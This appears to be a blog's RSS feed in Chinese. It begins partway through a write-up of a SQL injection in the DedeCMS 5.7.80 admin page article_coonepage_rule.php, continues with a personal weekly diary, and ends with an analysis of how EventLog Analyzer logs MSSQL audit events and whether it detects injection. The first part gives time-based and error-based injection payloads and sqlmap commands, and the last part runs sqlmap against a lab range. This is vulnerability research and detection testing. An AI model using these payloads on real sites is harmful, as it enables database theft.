&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fdb781214-3bb3-4c80-a3d3-1a3f939b798d%2FUntitled.png?table=block&amp;amp;id=5be671f7-a2fe-4be3-89ed-21c8d43eed65&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;模仿后端sql语句构造联合查询报错&lt;code&gt;extractvalue(0x0a,concat(0x0a,(select+database())))&lt;/code&gt;&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Ff8e63c6a-97c6-4dae-ac60-80a9c35ef765%2FUntitled.png?table=block&amp;amp;id=e600be00-cc50-4bc6-bd37-2994a777f9c1&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;试一下发数据&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fa8aad482-0298-4b8d-8ad2-e862ca9e6615%2FUntitled.png?table=block&amp;amp;id=f95ed888-828a-414b-b146-d57a63ddd9c5&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;传入后端语句也是跟在&lt;code&gt;phpmyadmin&lt;/code&gt;查询时一样的&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fd9b0dbc8-fc0a-4940-850f-0e5bc3e2f9da%2FUntitled.png?table=block&amp;amp;id=a991658d-e9f1-4a1a-8862-5a6fe2c86c26&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;可惜并没有报错回显&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Ffac0a8b0-36ca-479f-8ccc-86570073ab1e%2FUntitled.png?table=block&amp;amp;id=1d67c565-51ab-49d7-be62-c2f1509ddfe9&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;h3&gt;3.2 盲注！&lt;/h3&gt;
&lt;ul&gt;&lt;li&gt;那就试试盲注了，先构造试一下&lt;/li&gt;&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-SQL&quot;&gt;ids=(SELECT%20*%20FROM%20(SELECT(SLEEP(5)))ItPM)&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;没有延迟返回&lt;/p&gt;

&lt;ul&gt;&lt;li&gt;sqlmap开跑，指定level和注入类型，dump数据库&lt;/li&gt;&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-Bash&quot;&gt;python2 sqlmap.py -r ../../dede1.txt -p ids --level 5  --technique T --dbs&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;&lt;em&gt;最初用的 level2、3、4都没成功，直到用 &lt;/em&gt;&lt;strong&gt;&lt;em&gt;5&lt;/em&gt;&lt;/strong&gt;&lt;em&gt;才跑了出来&lt;/em&gt;&lt;/blockquote&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F994a70a8-1106-44f9-a302-e8c0b4557119%2FUntitled.png?table=block&amp;amp;id=aa87d6b1-debc-4185-ad36-7a5fb8a5da98&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;最后是用&lt;code&gt;ELT&lt;/code&gt; 跑出来的盲注&lt;/p&gt;
&lt;p&gt;附上验证payload&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-SQL&quot;&gt;/DedeCMS-5.7.80/dede/article_coonepage_rule.php?action=del&amp;amp;ids=ELT(3337&amp;gt;3336,SLEEP(5))&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;数据库&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-SQL&quot;&gt;ids=ELT(ORD(MID((SELECT DISTINCT(IFNULL(CAST(schema_name AS NCHAR),0x20)) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 1,1),1,1))!=116,SLEEP(3))&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其他类推&lt;/p&gt;
&lt;h2&gt;4 修复&lt;/h2&gt;
&lt;p&gt;看一下后续版本修复的代码&lt;/p&gt;


























</content:encoded>
        </item>
        <item>
            <title><![CDATA[weekly-0216-除夕]]></title>
            <description><![CDATA[Zeoihou Cheng's Blog]]></description>
            <link>https://z-zh.lol/wee-0216</link>
            <guid isPermaLink="true">https://z-zh.lol/wee-0216</guid>
            <pubDate>Sun, 10 May 2026 09:47:38 GMT</pubDate>
            <content:encoded>&lt;h2&gt;影&lt;/h2&gt;
&lt;p&gt;在看《一饭封神》，看完了。最喜欢的就是David黎子安，一种与世无争、慢条斯理的态度，全场都在喝啤酒，整天看起来脸红红，本身又是米其林大厨，料理水平高到每次都让评委咂舌，所有食材的搭配与调味之平衡，以及出乎意料的搭配与烹饪方式，又在情理之中，完全带有David本人的风格，拥有独特绝佳的品味（taste），这种世外高人一样的风格，拥有极度的松弛感和专业能力，正是我所追求的状态。&lt;/p&gt;
&lt;p&gt;印象最深的就是刘嘉玲来做试菜嘉宾时跟David寒暄，David说「我每日都喺度怀疑紧人生～」，还有最后的「做个不失礼的菜，让评委有借口可以淘汰掉我」，不失礼三个字境界太高啦。&lt;/p&gt;
&lt;h2&gt;书&lt;/h2&gt;
&lt;p&gt;这周在看《十年一觉电影梦》，「父亲三部曲」集中讲家庭、父亲与传承。看到「饮食男女」篇章了，感受特别深。李安说在台湾地区反响并不好，被狠狠修理了，然播出很多年后，世界各地依旧有人来跟他说，也许就是一句&lt;/p&gt;
&lt;blockquote&gt;我爸爸去世前，病得有一年多没跟家人讲话，可是临走前，我们陪他看《饮食男女》录影带，他唯一跟我们开口沟通，就是讲这部片子。&lt;/blockquote&gt;
&lt;p&gt;李安也常觉得迷惑。&lt;/p&gt;
&lt;p&gt;今年我开始练习做菜，亲力亲为也切身体会，做菜备菜忙忙碌碌，处理食材烹饪能力略有提升与体会。此番春节假期回家，我可多进厨房帮忙处理食材与打下手煎简单的菜，餐桌上的饭菜有了我的一份参与，似乎可以让妈妈少一点那么累，期间也可多与妈妈交流讨论食材处理方式与烹调手法，让妈妈少一点那么无聊。妈妈三十多年的烹饪经验，可以算是家庭式大厨，一进厨，我轻松就可以得到烹饪秘笈，这种进厨房的信任与平等地交流传授是从没有过的经验。&lt;/p&gt;
&lt;p&gt;饮食，真会把家庭联结在一起。&lt;/p&gt;

&lt;blockquote&gt;照王蕙玲的讲法是：“吃、饮食是台面上的东西，欲望、男女则是台面下的东西，台面下的东西永远不能拿到台面上来讨论”&lt;/blockquote&gt;
&lt;p&gt;性是家庭的根源，男女有性，有性才有孩子，代代才能相传，中国家庭却从不讨论性与男女欲望，是个禁忌。而台面上的吃、饮食，才是在有了家庭之后，将家庭联结起来的纽带。&lt;/p&gt;
&lt;h2&gt;行&lt;/h2&gt;
&lt;p&gt;一回家，就仿佛拥有了「全屋智能」。&lt;/p&gt;
&lt;p&gt;半夜回到家，是有自动准备好的夜宵可以吃的；房间的保温杯是自动装满温水的；地上总是一层不染的；衣服总是会自动晾起来，晒出去。&lt;/p&gt;
</content:encoded>
        </item>
        <item>
            <title><![CDATA[对EventLog Analyzer数据库日志功能实现的简单分析 ]]></title>
            <description><![CDATA[Zeoihou Cheng's Blog]]></description>
            <link>https://z-zh.lol/evtlog-alyz</link>
            <guid isPermaLink="true">https://z-zh.lol/evtlog-alyz</guid>
            <pubDate>Sun, 10 May 2026 09:47:38 GMT</pubDate>
            <content:encoded>

&lt;h2&gt;0. EventLog Analyzer简介&lt;/h2&gt;
&lt;p&gt;EventLog Analyzer是卓豪旗下一款安全信息和事件管理（SIEM）软件，用于实时监控网络设备、应用程序和操作系统的日志数据。它能够自动化地处理日志数据，并生成报告，以帮助安全管理员及时检测和响应潜在的威胁。EventLog Analyzer还可以分析日志数据，识别内部和外部威胁，并提供警报和通知，以支持快速响应和修复。此外，它还能够跟踪符合法规要求的日志记录，并生成符合各种合规性标准的报告。&lt;/p&gt;

&lt;p&gt;本文是对其数据库日志模块功能实现的简单分析，在想要实现类似功能的时候可以作为参考。&lt;/p&gt;
&lt;h2&gt;1. DLL文件&lt;/h2&gt;
&lt;p&gt;首先从进程中定位到一个可疑的收集日志进程 &lt;code&gt;SysEvtCol.exe&lt;/code&gt; ，从名字上看应该是日志收集的exe，位置：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-Shell&quot;&gt;C:\ManageEngine\EventLog_Analyzer\EventLog Analyzer\bin\SysEvtCol.exe&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是从其调用的dll来看，一时间没有有效发现&lt;/p&gt;
&lt;p&gt;往上回看其父进程&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-Shell&quot;&gt;C:\ManageEngine\EventLog_Analyzer\EventLog Analyzer\jre\bin\java.exe&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;先筛除系统dll，排查EA自带的可疑dll。从名字上看发现一个&lt;code&gt;importLog.dll&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-Shell&quot;&gt;C:\ManageEngine\EventLog_Analyzer\EventLog Analyzer\lib\native\importLog.dll&lt;/code&gt;&lt;/pre&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fa253129a-92e3-46b7-84da-3f510b539824%2FUntitled.png?table=block&amp;amp;id=ea2319b6-7424-401a-8aff-38bff9b8e82b&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;查看引用的dll，很明显看到有 &lt;code&gt;ADVAPI32.dll&lt;/code&gt; 的相关eventlog函数&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F615011cb-471c-4877-85d1-246c53b38b98%2FUntitled.png?table=block&amp;amp;id=ecae79cc-32cb-45ed-8fc9-362bbffd603d&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;通过导出的函数名猜测此部分是获取sa用户服务的EventLog&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fa9f49702-ed9e-4813-bfc7-5acd95df35de%2FUntitled.png?table=block&amp;amp;id=46315239-264f-4c95-bf9d-54491d70516b&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;接着注意到AdventnetOper.dll ，进一步查看发现有许多注册表键值和环境变量之类的增删改查函数，结合导出函数名猜测是操作注册表部分&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fc139ff71-a6d5-490a-9aab-2bcd3ca342ec%2FUntitled.png?table=block&amp;amp;id=3c3a56cb-5f39-4114-a469-64addbb233bd&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F7233ccb7-4800-47b3-b05c-f543681e7365%2FUntitled.png?table=block&amp;amp;id=1267bc34-c756-4c3f-af86-f569f7846cb5&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;h2&gt;2. 格式文件&lt;/h2&gt;
&lt;p&gt;将&lt;code&gt;SysEvtCol.exe&lt;/code&gt;导入IDA&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fb2447b43-f23f-4e6e-a218-034234f66f46%2FUntitled.png?table=block&amp;amp;id=6d66f88f-aa68-4ea9-8762-62a7b1b19b03&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;在 &lt;code&gt;../logs&lt;/code&gt; 目录中打开 &lt;code&gt;eventlog.txt&lt;/code&gt; &lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F826b25a3-b145-4223-91d3-ec85c66253b9%2FUntitled.png?table=block&amp;amp;id=dc7f4a4b-d6b9-447d-a955-5a846e7bb60d&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;从 winLogs 内容上看猜测是EA向其数据库获取EVENTLOG内容的查询日志&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F612cef38-517f-4a1f-b743-2cb619342cd7%2FUntitled.png?table=block&amp;amp;id=d47b6b9c-6c75-4b35-8dc7-00bd7979b980&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;根据parserLogs的记录查看MSSQL.xml&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F06b9a079-0142-4c5a-b5e7-8d6f3dbf1dde%2FUntitled.png?table=block&amp;amp;id=f260f1b8-ca72-4f82-9fe9-a6d55cdc8749&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;明显是解析EVENTLOG日志中MSSQL的格式文件&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F4c1190a2-3d4e-461a-91c9-796bb712b4f7%2FUntitled.png?table=block&amp;amp;id=9783429f-c042-40a9-8ef0-ef04197dbb09&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;应该是软件先获取到所有的EVENT日志，存进pgsql数据库后，通过不同的xml格式文件分类提取到前端&lt;/p&gt;
&lt;h2&gt;3. IDEA反编译&lt;/h2&gt;
&lt;ul&gt;&lt;li&gt;文件夹导入idea反编译&lt;/li&gt;&lt;/ul&gt;
&lt;p&gt;根据 &lt;code&gt;importLog.dll&lt;/code&gt; 的 &lt;code&gt;Export&lt;/code&gt; 定位到文件&lt;code&gt;\ManageEngine\EventLog_Analyzer\EventLog Analyzer\lib\EventLogService.jar!\com\adventnet\sa\server\imp\ImportEvtLogs.class&lt;/code&gt;&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F5f231a92-8264-4450-b7db-ae3d9add9d63%2FUntitled.png?table=block&amp;amp;id=a9b7f237-71a7-48c2-8c00-c07f66bb0504&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;&lt;code&gt;native&lt;/code&gt;方法引用了本地库，猜测关键的导入 event 操作还是在 &lt;code&gt;importLog.dll&lt;/code&gt; 中&lt;/p&gt;
&lt;ul&gt;&lt;li&gt;将 &lt;code&gt;importLog.dll&lt;/code&gt; 导入ida&lt;/li&gt;&lt;/ul&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F113fbcda-6d7d-4ccb-9e9f-98ed9dadaddb%2FUntitled.png?table=block&amp;amp;id=4a5e453f-ade8-4241-b827-8d9d20f7c02f&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;cpp编译的dll&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fceb35eab-5920-4720-bfbd-7a583754c73f%2FUntitled.png?table=block&amp;amp;id=429d281a-52c2-4d72-be50-4aea217af847&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;调用了&lt;code&gt;ADVAPI32.dll&lt;/code&gt; 中相关的EventLog函数&lt;/p&gt;
&lt;p&gt;microsoftlearn用法：&lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-readeventloga&quot;&gt;https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-readeventloga&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;4. 审核日志&lt;/h2&gt;
&lt;p&gt;默认审核日志是关闭的，可在ssms中开启&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F1fa62246-48d4-4605-ade9-a36eeab12939%2FUntitled.png?table=block&amp;amp;id=29b3a452-8fec-497b-98ce-e376520c3ee0&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;此处被写入了应用程序日志，日志记录如下&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F1ec725ad-bbaa-4601-8c26-93622d5c0475%2FUntitled.png?table=block&amp;amp;id=35bd3100-f7ec-4717-94e3-6fba785c2b8e&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;相关的注册表位置：&lt;code&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Security\MSSQL$&amp;lt;InstanceName&amp;gt;$Audit\EventSourceFlags&lt;/code&gt; ，此值为0时，不允许通过多个服务器审核事件向SQL Server安全日志写入&lt;/p&gt;

&lt;p&gt;取出eventLog写入文件&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Ffacf2660-7953-4aa4-8e35-05c27e16f8af%2FUntitled.png?table=block&amp;amp;id=9b87dab6-db78-4e79-b83f-0796a11ae1e2&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;h2&gt;5. SQL注入测试&lt;/h2&gt;
&lt;p&gt;搭建靶场：&lt;a href=&quot;https://github.com/Larryxi/MSSQL-SQLi-Labs&quot;&gt;https://github.com/Larryxi/MSSQL-SQLi-Labs&lt;/a&gt;&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F62505ab9-a55b-4d28-b158-cd820ce9c655%2FUntitled.png?table=block&amp;amp;id=7a38302e-fd35-4f03-8b02-f7fc7a0dac63&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;注入时间是 17:29&lt;/p&gt;
&lt;p&gt;审计日志中记录了对应的查询语句&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F44b8cb5b-f634-4a62-b81b-2f7fc9c6939c%2FUntitled.png?table=block&amp;amp;id=91e7c7c7-16dd-4042-9e1b-da4aeeebda14&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;有对应的事件，但是没有sql攻击报表（即没有识别出为sql注入）&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fcd5385ca-8e5a-4a2a-a6f5-8fb867fcbcf3%2FUntitled.png?table=block&amp;amp;id=6d70df8c-fc27-44a9-9123-a2e87958d3d3&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Ff003f0a1-9583-4091-838e-7a17f50098fe%2FUntitled.png?table=block&amp;amp;id=7bf624cf-5284-4659-97df-7ddadadb6215&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;跑sqlmap进行测试，时间 11:14&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-Shell&quot;&gt;sqlmap -u &apos;http://192.168.249.212/sqli/MSSQL-SQLi-Labs/less-1.asp?id=1&apos; -p id --level 5 --dbs -vvv&lt;/code&gt;&lt;/pre&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F7bd695be-85f5-4568-9130-94565bd61586%2FUntitled.png?table=block&amp;amp;id=12140784-2f34-43ec-a063-8e05488b7ec0&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;应用程序日志中均有记录&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fc75c565c-2457-450e-92d2-b1706a1a35ee%2FUntitled.png?table=block&amp;amp;id=dd17980a-409c-4b66-a364-684cc4a340bc&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;后端也正常收集&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fefedc061-037a-4844-b679-ac4859fe8a26%2FUntitled.png?table=block&amp;amp;id=da2d76af-72ef-4390-b8ca-7d3f7e60ed2f&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;但sql注入报表(预定义报表)部分没有数据&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F3cb957f1-a7b9-473e-a145-2accac7db890%2FUntitled.png?table=block&amp;amp;id=569dd1b0-89b7-4537-908e-2ec5ad7ce7ae&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;编辑不了预定义报表，也无法查看预定义报表的内容。&lt;/p&gt;
&lt;p&gt;自定义一个简单的报表测试，内容为&lt;code&gt;数据库查询语句中包含CASE WHEN字符&lt;/code&gt; ，选择设备为本机器，默认日志来源是&lt;code&gt;windows eventlog&lt;/code&gt; &lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F58e659a5-9fab-48ef-905b-2dd1190e3ea1%2FUntitled.png?table=block&amp;amp;id=652fd754-ef6e-4f06-a6cc-3c55261a0d51&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F97a4364f-ce9f-4e53-a7be-a46e3ee4ec36%2FUntitled.png?table=block&amp;amp;id=88573236-0a11-4946-b74c-ea754171b3a6&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;可推测预定义报表的来源也是默认的&lt;code&gt;windows eventlog&lt;/code&gt; ，但是由于内置规则没识别出注入语句，&lt;/p&gt;

&lt;p&gt;调整payload后再次测试sql，特征明显，有闭合单引号有注释符，时间 16:10&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F6e60e440-19d0-4a0b-8973-33e45eb3a830%2FUntitled.png?table=block&amp;amp;id=47a7447a-a7d9-44f5-ad46-c24cc4001a76&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;修改一下自定义报表条件&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F3ce43bb9-3a88-4693-a321-184ec0cb1d21%2FUntitled.png?table=block&amp;amp;id=8b9081cd-0fe5-49ea-a512-d0610962e6b9&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;自定义报表可识别&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F3d74bd3d-c3eb-49ce-a17b-086b78bd5000%2FUntitled.png?table=block&amp;amp;id=2dc6a1da-40fd-48f2-8e4c-a1d398f8109b&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;推测：&lt;strong&gt;根据内置/自定的规则从eventlog中筛选出sql注入事件&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;6. 开启审计日志&lt;/h2&gt;
&lt;p&gt;eventlog详情如下，&lt;code&gt;eventid:33205&lt;/code&gt;，通过JDBC连接数据库开启审核和审核策略&lt;/p&gt;
&lt;div style=&quot;padding:12px 16px;border:1px solid #e0e0e0;border-radius:4px;margin:8px 0;&quot;&gt;&lt;span style=&quot;margin-right:8px;&quot;&gt;💡&lt;/span&gt;审核事件: audit_schema_version:1
event_time:2022-11-30 06:51:16.3535404
sequence_number:1
action_id:AUSC
succeeded:true
is_column_permission:false
session_id:53
server_principal_id:1
database_principal_id:0
target_server_principal_id:0
target_database_principal_id:0
object_id:0
user_defined_event_id:0
transaction_id:0
class_type:A
duration_milliseconds:0
response_rows:0
affected_rows:0
client_ip:192.168.249.217
permission_bitmask:00000000000000000000000000000000
sequence_group_id:00000000-0000-0000-0000-000000000000
session_server_principal_name:sa
server_principal_name:sa
server_principal_sid:01
database_principal_name:
target_server_principal_name:
target_server_principal_sid:
target_database_principal_name:
server_instance_name:DESKTOP-1P14TIC
database_name:
schema_name:
object_name:
statement:
